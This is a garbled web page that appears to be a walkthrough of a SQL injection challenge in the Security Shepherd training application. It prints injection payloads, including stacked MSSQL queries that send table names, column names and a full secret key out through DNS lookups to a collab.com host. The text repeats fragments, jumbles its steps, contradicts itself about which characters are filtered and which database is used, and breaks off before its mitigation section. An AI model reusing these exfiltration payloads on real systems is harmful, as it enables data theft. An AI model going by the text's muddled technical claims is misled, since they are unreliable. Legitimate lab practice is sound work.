Sql+injection+challenge+5+security+shepherd+new

Since LIKE patterns are inside single quotes in the SQL, but the single quote is filtered in input, how is the query built? Maybe the developer used double quotes for the SQL string? Let’s check the debug header again:
SELECT note FROM notes WHERE user_id = 2 AND note LIKE '%milk%'

So the outer SQL uses single quotes around the LIKE pattern. The input milk is placed inside those quotes. If you input a backslash (\), it escapes the closing quote in the SQL? Example:

Input: %\
SQL: LIKE '%\%' — the second single quote is escaped, causing a syntax error. The error message reveals the exact query:
LIKE '%\%'' — Yes, the last quote remains unmatched. So you can break out.

But how to get admin note? You need a union-based injection or boolean blind injection.

Try input: %\' UNION SELECT note FROM notes WHERE user_id=1 --

Filter blocks single quote. But what if you use double quotes? The filter allows double quotes? Let’s test: input " — validation passes. Double quotes are not in the blocked set. Interesting. sql+injection+challenge+5+security+shepherd+new

First, find the table and column names.

Payload to get first table name:

' OR 1=1; DECLARE @t nvarchar(4000); SET @t = (SELECT TOP 1 table_name FROM information_schema.tables); EXEC xp_dnsresolve @t + '.collab.com' --

DNS Log result: secret_table.collab.com

Payload to get column names from secret_table:

' OR 1=1; DECLARE @c nvarchar(4000); SET @c = (SELECT TOP 1 column_name FROM information_schema.columns WHERE table_name='secret_table'); EXEC xp_dnsresolve @c + '.collab.com' --

Repeat by modifying TOP 1 to TOP 2, etc., or use a loop. You'll discover columns like id, secret_key. Since LIKE patterns are inside single quotes in

Security Shepherd's SQL Injection Challenge 5 (the "new" variant) is a deliberately vulnerable web application module designed to teach advanced SQL injection techniques and defenses. The challenge typically involves exploiting blind and logical/boolean-based SQL injection, bypassing input filters, chaining multiple injections, and extracting data from multiple tables. This review covers objective goals, attack surface, exploitation steps, payloads, mitigation recommendations, and assessment of difficulty and learning value.

The first step is always to determine how the application handles our input.

You try to break the LIKE clause by searching for:
' OR '1'='1

The constructed query becomes:
SELECT note FROM notes WHERE user_id = 2 AND note LIKE '%' OR '1'='1%'

But the app responds with an error:

"Invalid search term. Only alphanumeric and spaces allowed."

Ah — there’s a client-side or server-side filter. You check the page source:

function validateSearch() {
    let term = document.getElementById("search").value;
    if (/[^a-zA-Z0-9 ]/.test(term)) {
        alert("Invalid characters");
        return false;
    }
    return true;
}

So single quotes, double quotes, semicolons, and dashes are blocked.

We need to query the metadata. In MySQL (common in Shepherd), this is information_schema.tables.

Look through the output for a suspicious table name. It is often something obvious like keys, secrets, or challenge5_data. First, find the table and column names

Here’s a full example payload to extract the entire secret in one shot using a while loop (injected via stacked queries – only works if MultipleActiveResultSets is true or via blind but OOB loops are fine):

' OR 1=1; 
DECLARE @i int = 1; 
DECLARE @len int; 
DECLARE @chunk nvarchar(4000); 
SELECT @len = LEN(secret_key) FROM secret_table; 
WHILE @i <= @len
BEGIN 
    SELECT @chunk = SUBSTRING(secret_key, @i, 50) FROM secret_table; 
    EXEC xp_dnsresolve @chunk + '.' + CAST(@i AS varchar) + '.collab.com'; 
    SET @i = @i + 50; 
END; 
--

To prevent this attack: